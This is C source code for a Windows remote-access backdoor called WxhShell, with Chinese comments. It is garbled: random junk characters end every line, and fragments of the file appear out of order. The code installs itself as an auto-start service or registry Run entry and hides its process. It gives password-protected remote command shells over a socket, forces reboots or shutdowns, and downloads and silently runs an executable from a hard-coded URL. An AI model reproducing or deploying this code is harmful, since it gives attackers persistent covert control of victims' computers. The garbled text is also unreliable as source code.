    if(Boot(SHUTDOWN)) Dp^95V@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V w7WK  
    else { |l$ u<3  
    closesocket(wsh); )TM!ms+K  
    ExitThread(0); R \ia6  
    } R^uc%onP  
    break; !f@XDW&R  
    } ekrBNDs9  
  // 获取shell ::ri3Tu  
  case 's': { D]jkR} t  
    CmdShell(wsh); & wOE\TCL  
    closesocket(wsh); (,shiK[5f  
    ExitThread(0); s88y{o  
    break; ?x'w~;9R/  
  } FQ1arUOFW,  
  // 退出 IOX:yxj  
  case 'x': { =Aj"j-r&{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xh`"  
    CloseIt(wsh); LGAX"/LX  
    break;  UPR/XQ  
    } (V8?,G>  
  // 离开 kwO eHdV^  
  case 'q': { 'P,,<nkr|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *l:&f_ngV  
    closesocket(wsh); ;KL9oV!<f  
    WSACleanup(); zx7#)*  
    exit(1); 0_Lm#fE U  
    break; ~oo'ky*H!  
        } VJ*\pM@no  
  } QTfu:m{  
  } )Y~xIj >  
}DbE4"^K7  
  // 提示信息 YroNpu]s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vkuc8 li  
} QE3ryD  
  } ?3Pazc]+|  
IKo;9|2U  
  return; p0Z:Wkz]  
} r,Ds[s)B  
\@8*TS  
// shell模块句柄 W-ez[raY  
int CmdShell(SOCKET sock) rpSr^slr  
{ Ww=O=c5uOu  
STARTUPINFO si; W"|mpxp  
ZeroMemory(&si,sizeof(si)); ~GA8_B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; obj!I7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e62y  
PROCESS_INFORMATION ProcessInfo; R3Ee%0QK  
char cmdline[]="cmd"; Fe5jdV<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \q,s?`+B  
  return 0; 1|]xo3j"'  
} dqxd3,Z  
[g`,AmR\!  
// 自身启动模式 7=vYO|a/4  
int StartFromService(void) W_%W%i|  
{ ^4 8\>-Q\  
typedef struct e"~)Utk  
{ gJk[Ja  
  DWORD ExitStatus; q1w|'V  
  DWORD PebBaseAddress; rw]yKH  
  DWORD AffinityMask; XGhwrI^  
  DWORD BasePriority; rFfy#e  
  ULONG UniqueProcessId; P.h.M A]  
  ULONG InheritedFromUniqueProcessId; QLn+R(r  
}   PROCESS_BASIC_INFORMATION; a*s\Em7f  
4\HsU9x  
PROCNTQSIP NtQueryInformationProcess; Z(`r-}f I  
|(RZ/d<X\a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "$DldHC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c|Y!c!9F  
R^6Zafp  
  HANDLE             hProcess; {-h, ZdH^  
  PROCESS_BASIC_INFORMATION pbi; fnWsm4  
S/fW/W*/}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CL1 oAk  
  if(NULL == hInst ) return 0; [%?y( q  
2uL9.q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c.0]1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F"[3c6yF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !UcOl0"6  
Z%e|*GS{  
  if (!NtQueryInformationProcess) return 0; 5 q65nF  
>C# kqxfg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <sc\EK  
  if(!hProcess) return 0; x6%#ws vS  
{xToz]YA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ye@t_,)x  
$_FZn'Db6  
  CloseHandle(hProcess); rVcBl4&1*g  
OX^3Q:Z=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s/h7G}Mu  
if(hProcess==NULL) return 0; ul=7>";=|  
M~p=#V1D  
HMODULE hMod; (Q_2ODKo  
char procName[255]; K$ AB} Fvc  
unsigned long cbNeeded; 1`QsW&9=b  
akCIa'>t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0;<OYbm3<  
a:b^!H>#  
  CloseHandle(hProcess); @)b^^Fp  
.8(%4ejJ(  
if(strstr(procName,"services")) return 1; // 以服务启动 K}K)`bifw  
UJn/s;$.e  
  return 0; // 注册表启动 8gI\zgS  
} 5(#-)rlGj  
si?HkJv5  
// 主模块 W>/UBN3  
int StartWxhshell(LPSTR lpCmdLine) o\goE^,aeR  
{ ="dDA/,$VS  
  SOCKET wsl; KoF iQ?  
BOOL val=TRUE; vYdlSe=6G  
  int port=0; L {qJ-ln:  
  struct sockaddr_in door; H;y}-=J+  
!.-.#<<_a  
  if(wscfg.ws_autoins) Install(); )8'jxiGs  
 CC#C  
port=atoi(lpCmdLine); kc Y,vl  
PU Cx]5  
if(port<=0) port=wscfg.ws_port; tl^m=(ZQ  
u5F}(+4r  
  WSADATA data; j 3P$@<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u*2JUI*  
$3#%aA!(#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $20s]ywS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~-<:+9m  
  door.sin_family = AF_INET;  d1bhJK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LM6]kll  
  door.sin_port = htons(port); eXG57<t ON  
pBU]=[M0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %w:'!X><  
closesocket(wsl); " @)lH  
return 1; ? d5h9}B  
} 3+9 U1:1[.  
h[Mdr  
  if(listen(wsl,2) == INVALID_SOCKET) { ^*>n4U  
closesocket(wsl); ANb"oX c  
return 1; N9`97;.X  
}  Q; 20T  
  Wxhshell(wsl); +'%\Pr(  
  WSACleanup(); Wj OH/$(  
@ef$b?wg  
return 0; QiU_hz6?v  
oyW00]ka  
} jb3.W  
u`6/I#q`  
// 以NT服务方式启动  i6 L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9wMEvX70  
{ GoD ?KC  
DWORD   status = 0; m^A]+G#/  
  DWORD   specificError = 0xfffffff; )Mi'(C;  
rS,j;8D-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 74]a/'4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g@u;Y5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N7pt:G2~%  
  serviceStatus.dwWin32ExitCode     = 0; tBv3~Of.  
  serviceStatus.dwServiceSpecificExitCode = 0; ^aptLJF  
  serviceStatus.dwCheckPoint       = 0; :H\&2/j  
  serviceStatus.dwWaitHint       = 0; (#z;(EN0t  
^#w{/C/n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }4vjKSV  
  if (hServiceStatusHandle==0) return; =GTD"*vwr  
u>|"28y  
status = GetLastError(); 4=s9A  
  if (status!=NO_ERROR) {MxnIg7'  
{ Bk@WW#b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }{mG/(LX8  
    serviceStatus.dwCheckPoint       = 0; n;qz^HXEJ  
    serviceStatus.dwWaitHint       = 0; ]#5^&w)'  
    serviceStatus.dwWin32ExitCode     = status; {XHk6w *-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8f-:d]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>i|s|aW  
    return; s|gp  
  } =)*JbwQ   
.+vd6Uc5a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6ZOAmH fs  
  serviceStatus.dwCheckPoint       = 0; T<M?PlED  
  serviceStatus.dwWaitHint       = 0; z5pc3:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "& Mou  
} oAnigu;  
`Hd9\;NJ  
// 处理NT服务事件,比如:启动、停止 ]ViOr8u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iD`k"\>9  
{ HL8(lPgS  
switch(fdwControl) 5H*>  
{ h ~fWE  
case SERVICE_CONTROL_STOP: r w\D>} \  
  serviceStatus.dwWin32ExitCode = 0; Qg>0G%cXU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]?&H^"=  
  serviceStatus.dwCheckPoint   = 0; _NT[ ~M_Q  
  serviceStatus.dwWaitHint     = 0; ~lk@6{`l|1  
  { 48k 7/w\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uz $ @(C  
  } RJ*F>2  
  return; f@x_#ov  
case SERVICE_CONTROL_PAUSE: \n;g2/VjO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  mmcdtVe  
  break; _4!{IdR  
case SERVICE_CONTROL_CONTINUE: &SrGh$:X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UM`nq;>  
  break; .HCaXFW  
case SERVICE_CONTROL_INTERROGATE: R=Ymo.zs6  
  break; JaFUcpZk$  
}; eQ\jZ0s;p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2/EK`S  
} ,{+6$h3  
? rQc<;b  
// 标准应用程序主函数 Q)T+r~#2B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /yp/9r@T0  
{ ssT@<Tk^4  
n. I2$._(b  
// 获取操作系统版本 ?$16 A+  
OsIsNt=GetOsVer(); `[bJYZBc2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Z 8,e  
lvx]jd\  
  // 从命令行安装 c>rKgx  
  if(strpbrk(lpCmdLine,"iI")) Install(); IhwN],-V  
2!idy]vy_  
  // 下载执行文件 P>fKX2eQ-  
if(wscfg.ws_downexe) { Wz5=(<{S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -_HRqw,Z0  
  WinExec(wscfg.ws_filenam,SW_HIDE); j9>TTgy@  
} wB 2}uk7  
=+4 _j  
if(!OsIsNt) { Hh@2m\HA  
// 如果时win9x,隐藏进程并且设置为注册表启动 "4RQ`.S R  
HideProc(); }>,CUz  
StartWxhshell(lpCmdLine); .8x@IWJD  
} D!/0c]"  
else #EFMgQO  
  if(StartFromService()) fzyzuS$  
  // 以服务方式启动 EU9[F b]  
  StartServiceCtrlDispatcher(DispatchTable); $N dH*  
else R|-j]Ne  
  // 普通方式启动 V pH|R  
  StartWxhshell(lpCmdLine); *k4+ioFnKE  
L W?&a3e  
return 0; A9iQ{l  
} _{mJ.1)V;  
!")WZq^`  
'xk1o,;  
IW mHp]  
=========================================== ,0h3x$l)   
{Y^c*Iqn  
ozuIwzi7N  
s|E%~j[9  
E^82==R  
"\<P$&`HA  
" 58PKx5`D  
_)q4I(s*  
#include <stdio.h> HGb.656r  
#include <string.h> s6IP;}  
#include <windows.h> ?jFc@t*\:  
#include <winsock2.h> 5Fh8*8u6hL  
#include <winsvc.h> .5N Zf4:C  
#include <urlmon.h> SKW;MVC  
{<r`5  
#pragma comment (lib, "Ws2_32.lib") G_0)oC@Jl:  
#pragma comment (lib, "urlmon.lib") `;e^2  
gLV^Z6eE  
#define MAX_USER   100 // 最大客户端连接数 "&}mAWT%If  
#define BUF_SOCK   200 // sock buffer g&XhQ.aa  
#define KEY_BUFF   255 // 输入 buffer [*t U}9  
,.h$&QFj;  
#define REBOOT     0   // 重启 1MpX] j8C#  
#define SHUTDOWN   1   // 关机 RRNH0-D1l  
cT I,1U  
#define DEF_PORT   5000 // 监听端口 /XN*)m  
n-W?Z'H{r  
#define REG_LEN     16   // 注册表键长度 @T_O6TcY  
#define SVC_LEN     80   // NT服务名长度 -C=]n<ak  
K: 4P ;ApI  
// 从dll定义API uZ-`fcCjD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r.9 $y/5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8>m1UONr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;}f6Y['z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jKYm/}d  
M{G$Pk8[  
// wxhshell配置信息 6z PV'~q  
struct WSCFG { K/~Y!?:J r  
  int ws_port;         // 监听端口 W!y)Ho  
  char ws_passstr[REG_LEN]; // 口令 GgT=t)}wu  
  int ws_autoins;       // 安装标记, 1=yes 0=no 48;~bVr}  
  char ws_regname[REG_LEN]; // 注册表键名 6S)$3Is  
  char ws_svcname[REG_LEN]; // 服务名 `TOX1cmw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NPP3 (3C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +H[Q~P8'[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H8( C>w-'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5vYsA1Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3/:LYvM<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >d'EInSF  
qq/_yt  
}; jzQ9zy_  
^971<B(v  
// default Wxhshell configuration  KzIt  
struct WSCFG wscfg={DEF_PORT, UQSX<6"  
    "xuhuanlingzhe", $,g 3*A  
    1, BSjbnnW}"  
    "Wxhshell", 8Er[M  
    "Wxhshell", 7G?Ia%u  
            "WxhShell Service", < rv1IJ  
    "Wrsky Windows CmdShell Service", gW/QFZjY  
    "Please Input Your Password: ", UP5%C;  
  1, zV6AuUIt  
  "http://www.wrsky.com/wxhshell.exe", ]<Z&=0i#9  
  "Wxhshell.exe" t CkoYrvT  
    }; DS.39NY  
5c*p2:]  
// 消息定义模块  \\y}DNh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SIj6.RK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iZsau2K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #/\pUK~km  
char *msg_ws_ext="\n\rExit."; u!m,ilAnd  
char *msg_ws_end="\n\rQuit."; PXOq#  
char *msg_ws_boot="\n\rReboot..."; dCW0^k  
char *msg_ws_poff="\n\rShutdown..."; {K<~ vj;  
char *msg_ws_down="\n\rSave to "; H f!9`R[  
b,=,px  
char *msg_ws_err="\n\rErr!"; ;jp6 }zfI  
char *msg_ws_ok="\n\rOK!"; R (t!xf  
;b{pzIe=F  
char ExeFile[MAX_PATH]; k];L!Fj1  
int nUser = 0; i0i.sizu  
HANDLE handles[MAX_USER]; 5?<|3  
int OsIsNt; h4J{jh.  
|TC3*Y  
SERVICE_STATUS       serviceStatus; V]+o)A$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?3.(Vqwog  
^A:!ni@3  
// 函数声明 *2w_oKE'+5  
int Install(void); eUzU]6h  
int Uninstall(void); &C CHxjsKR  
int DownloadFile(char *sURL, SOCKET wsh); L3-<Kop  
int Boot(int flag); 1v>  
void HideProc(void); WHZe)|n  
int GetOsVer(void); Q=)"om  
int Wxhshell(SOCKET wsl); hWl""66+5  
void TalkWithClient(void *cs); K7)j  
int CmdShell(SOCKET sock); ,Zf :R  
int StartFromService(void); !"Z."fm*  
int StartWxhshell(LPSTR lpCmdLine); MoC*tImWR  
> u'/$ k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9_g>BI;"8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dqIZ#;:g  
D}=/w+  
// 数据结构和表定义  |JirBz  
SERVICE_TABLE_ENTRY DispatchTable[] = j+z'  
{ AAeQ-nbP  
{wscfg.ws_svcname, NTServiceMain}, Dx p>  
{NULL, NULL} p~v2XdR  
}; w0q?\qEX  
KZ367&>b7  
// 自我安装 ux" D ]P  
int Install(void) yfRUTG  
{ 03i?"MvNo  
  char svExeFile[MAX_PATH]; 6Cop#kW#  
  HKEY key; <k!mdj)  
  strcpy(svExeFile,ExeFile); 8=ukS_?Vy  
k)<~nc-  
// 如果是win9x系统,修改注册表设为自启动 b/a?\0^  
if(!OsIsNt) { O2V6UX@&<w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H]T2$'U6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?15POY ?Z  
  RegCloseKey(key); )]0[`iLe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /j=DC9_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , }xpYq_/  
  RegCloseKey(key); f4 Sw,A  
  return 0; #`YxoY`  
    } z=- 8iks|  
  } [[.&,6  
} 1@1+4P0NF[  
else { U|y;b+n`  
3:02`;3  
// 如果是NT以上系统,安装为系统服务 b.w(x*a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '&_y*"/c  
if (schSCManager!=0) Up1$xLSl  
{ c(_oK ?  
  SC_HANDLE schService = CreateService os "[Iji  
  ( mcP{-oJ0W  
  schSCManager, : . FfE  
  wscfg.ws_svcname, #J<`p  
  wscfg.ws_svcdisp, |}]JWsuB  
  SERVICE_ALL_ACCESS, V29S*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eNlF2M  
  SERVICE_AUTO_START, q7)]cY_  
  SERVICE_ERROR_NORMAL, cLN[o8 ZU  
  svExeFile, Z!s>AgH9u  
  NULL, goBKr: &]w  
  NULL, @+T{M:&l  
  NULL, 2F*Dkv  
  NULL, >M8^ Jgh  
  NULL 'JW_]z1  
  ); 3^iQe"P%a@  
  if (schService!=0) l1iF}>F2  
  { R4Gg|Bh  
  CloseServiceHandle(schService); #h #mOJ5  
  CloseServiceHandle(schSCManager); K{r1&O>W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dwf #~7h_  
  strcat(svExeFile,wscfg.ws_svcname); l9ch  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % 0y3/W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0Tn|Q9R  
  RegCloseKey(key); c9cphZ(z  
  return 0; {C,1w  
    } yv#c =v|  
  } 8g2-8pa{  
  CloseServiceHandle(schSCManager); *Wuctu^9  
} m_PrasZ>  
} 9L)&n.t1  
r-\T}e2Gz  
return 1; QB.*R?A  
} ;?HZ,"^I  
M~g~LhsF  
// 自我卸载 dWq/)%@t  
int Uninstall(void) )W}/k$S  
{ ]B-$p p  
  HKEY key; "k_n+cH%  
^S;RX*  
if(!OsIsNt) { J}Z_.:JO(w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DbNi;m  
  RegDeleteValue(key,wscfg.ws_regname); J*q=C%}.  
  RegCloseKey(key); kgbr+Yw2X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >1)@n3.<O  
  RegDeleteValue(key,wscfg.ws_regname); 1X!f!0=g+  
  RegCloseKey(key); "DcueU#!  
  return 0; < 4EB|@E  
  } * F%ol;|Q  
} &:e}4/G  
} @y~BYiKs  
else { ]cGz~TN~  
 >Wr   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :v WYI I7  
if (schSCManager!=0) @D=2Er\  
{ Gad2EEZ%0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [&O:qaD^  
  if (schService!=0) b1 ['uJF  
  { Ow .)h(y/  
  if(DeleteService(schService)!=0) { Ppo^qb  
  CloseServiceHandle(schService); >-tH&X^  
  CloseServiceHandle(schSCManager); 'i h  
  return 0; 3{#pd6e5  
  } g$^qQs)^N  
  CloseServiceHandle(schService); $X<<JnsK  
  } uB#B\i  
  CloseServiceHandle(schSCManager); ph&H*Mc  
} by:xD2 5  
} (a)@<RF`Q}  
Qig!NgOM  
return 1; YV_I-l0  
} C[<\ufclD  
 [k&s!Qp  
// 从指定url下载文件 c:,{ O 0 #  
int DownloadFile(char *sURL, SOCKET wsh) PuoJw~^h  
{ .T$9Q Ar5  
  HRESULT hr; !y2h`ZAZ  
char seps[]= "/"; d`q)^  
char *token; !=Kay^J~.  
char *file; x ;?1#W  
char myURL[MAX_PATH]; 5SWX v+  
char myFILE[MAX_PATH]; *d,n2a#n5  
ADl>~3b  
strcpy(myURL,sURL); *,*:6^t  
  token=strtok(myURL,seps); -Fw4;&>  
  while(token!=NULL) /wRK[i  
  { ;KZ2L~ THG  
    file=token; <~8f0+"  
  token=strtok(NULL,seps); PG~m-W+  
  } {arjW3~M:  
o-i.'L)X  
GetCurrentDirectory(MAX_PATH,myFILE); %?G.lej,x  
strcat(myFILE, "\\"); K|J#/  
strcat(myFILE, file); @j8L{FGnN  
  send(wsh,myFILE,strlen(myFILE),0); &7kSLat+9{  
send(wsh,"...",3,0); 96V, [-arf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3SB7)8Id1  
  if(hr==S_OK) /z-C :k\  
return 0; @_(@s*4W  
else J<$'^AR9"q  
return 1; 4}YT@={g}  
(pxz#B4  
} Ywb)h^{!  
{ZYCnS&?CL  
// 系统电源模块 6Q?6-,?_  
int Boot(int flag) (i~%4w=  
{ D '_#?%3^  
  HANDLE hToken; Yiw^@T\H`  
  TOKEN_PRIVILEGES tkp; 7X3l&J2C4l  
8; N}d)*O  
  if(OsIsNt) { owVUL~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] j?Fk$C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |0 pBBDw  
    tkp.PrivilegeCount = 1; UY& W]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {$eZF_}Y^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >v4~:n2D  
if(flag==REBOOT) { Uz8C!L ">C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vm8_ !$F  
  return 0; <YNPhu~5  
} }Ml z\'{  
else { z+B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YG+ Yb{^"  
  return 0; [0 f6uIF  
} bL#TR;*]  
  } "@|V.d@  
  else { k <Sa<  
if(flag==REBOOT) { :[?o7%"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'GO..m"G  
  return 0; ,O`*AzjS5Q  
} T`DlOi]Z_  
else { rca"q[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !Y i<h/:  
  return 0; Iur} ZAz  
} Xg#([}b  
} TKydOw@P"  
(Q} ijwj  
return 1; BPs &  
} PbH]K$mj{"  
Y##P9^zH1  
// win9x进程隐藏模块 b#'a4j-u  
void HideProc(void) /9# jv]C:  
{ I:7,CV  
^/YAokj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6Z}))*3 9  
  if ( hKernel != NULL ) ~PvzUT-^  
  { `d;izQ1_=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .B n2;nO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EqU[mqeF  
    FreeLibrary(hKernel); IY6S\Gn  
  } P9!]<so  
}Q(I&uz  
return; 7lOiFw  
} )_ u'k /  
J}u1\Id%  
// 获取操作系统版本 \ku{-^7  
int GetOsVer(void) AlhiF\+ C  
{ a2FIFWvW  
  OSVERSIONINFO winfo; };sm8P{M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iR=aYT~  
  GetVersionEx(&winfo); s*WfRY*=V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /T(~T  
  return 1; k&;L(D  
  else xf SvvCy  
  return 0; IbQ~f+y&2  
} Q1B! W  
|0%UM}  
// 客户端句柄模块 Jxp'.oo[  
int Wxhshell(SOCKET wsl) !XC7F UO  
{ J#WPXE+Ds  
  SOCKET wsh; ,i.P= o  
  struct sockaddr_in client; 5!%/j,?  
  DWORD myID; C#0Wo  
'2#fkH[.  
  while(nUser<MAX_USER) >>xV-1h:  
{ *(IO<KAg8  
  int nSize=sizeof(client); ^;_b!7*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o%5Ao?z~  
  if(wsh==INVALID_SOCKET) return 1; <K'gvMG[  
( #Aq*2Z.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bV,R*C  
if(handles[nUser]==0) @/iLC6QF  
  closesocket(wsh); ti% e.p0[  
else Uij$ eBN  
  nUser++; L  *@>/N  
  } Cu7iHhY5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5xKR ]u  
Yl=  |P`  
  return 0; B9-=.2.WU  
} s[bKGn@  
 S_6;e|  
// 关闭 socket 5+Ut]AL5  
void CloseIt(SOCKET wsh) \ed(<e>  
{ NQD b;5:  
closesocket(wsh); n-_w0Y  
nUser--; jm"xf7  
ExitThread(0); pn|{P<b\  
} "de:plMofy  
HOG7||&y  
// 客户端请求句柄 Kwnu|8  
void TalkWithClient(void *cs) ;0E 4S  
{ p,fin?nW c  
=;T[2:JUu  
  SOCKET wsh=(SOCKET)cs; p04w 83 jX  
  char pwd[SVC_LEN]; V5 w^Le_^  
  char cmd[KEY_BUFF]; W&#Nk5d  
char chr[1]; lHXH03  
int i,j; zYsGI<4  
q[ZYlF,Ho  
  while (nUser < MAX_USER) { NKrk*I"G  
X}Fv*  
if(wscfg.ws_passstr) { V ZGhF!To  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 Gkw.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HC+R :Dz  
  //ZeroMemory(pwd,KEY_BUFF); 10 ^=1@U  
      i=0; / [M~##%:  
  while(i<SVC_LEN) { Rz]bCiD3 B  
v/dcb%  
  // 设置超时 *<1m 2t>.  
  fd_set FdRead; UHWun I S  
  struct timeval TimeOut; d8po`J#nb  
  FD_ZERO(&FdRead); ZW"J]"A  
  FD_SET(wsh,&FdRead); NKws;/u  
  TimeOut.tv_sec=8; ImVe 71mh  
  TimeOut.tv_usec=0; ^;d;b<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |99eDgK,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M\3!elp2z  
G1|:b-C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8iRQPV-"_  
  pwd=chr[0]; .v{ty  
  if(chr[0]==0xd || chr[0]==0xa) { u9Ro=#xt  
  pwd=0; mx2 Jt1  
  break; RB2u1]l  
  } e{=$4F  
  i++; T5)?6i -N  
    } dWA7U6c<  
AXFVsZH"zi  
  // 如果是非法用户,关闭 socket 0OXd*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&MiO3#+  
} 04:Dbt~=?p  
4Ki'r&L\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L<n_}ucA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cpl)byb  
qI}Zg)q]  
while(1) { sr4K-|@  
~7v^7;tT  
  ZeroMemory(cmd,KEY_BUFF); whshjl?a  
2Xosj(H  
      // 自动支持客户端 telnet标准   Rk<:m+V=  
  j=0; Qi M>59[  
  while(j<KEY_BUFF) { tH(Z9\L7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O?_'6T  
  cmd[j]=chr[0]; qyto`n7  
  if(chr[0]==0xa || chr[0]==0xd) { FB""^IC?W  
  cmd[j]=0; ^]HwStn&=  
  break; u|E,Wy1  
  } d hy=x  
  j++; +;T%7j"wz  
    } O7W}Z1G  
RN0Rk 8AC  
  // 下载文件 ?d 4_'y   
  if(strstr(cmd,"http://")) { +e\u4k{3V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4b)xW&K{  
  if(DownloadFile(cmd,wsh)) lc^%:#@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +x`tvo  
  else {|cA[#j#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tn|re Xc0e  
  } I`|>'$E[r  
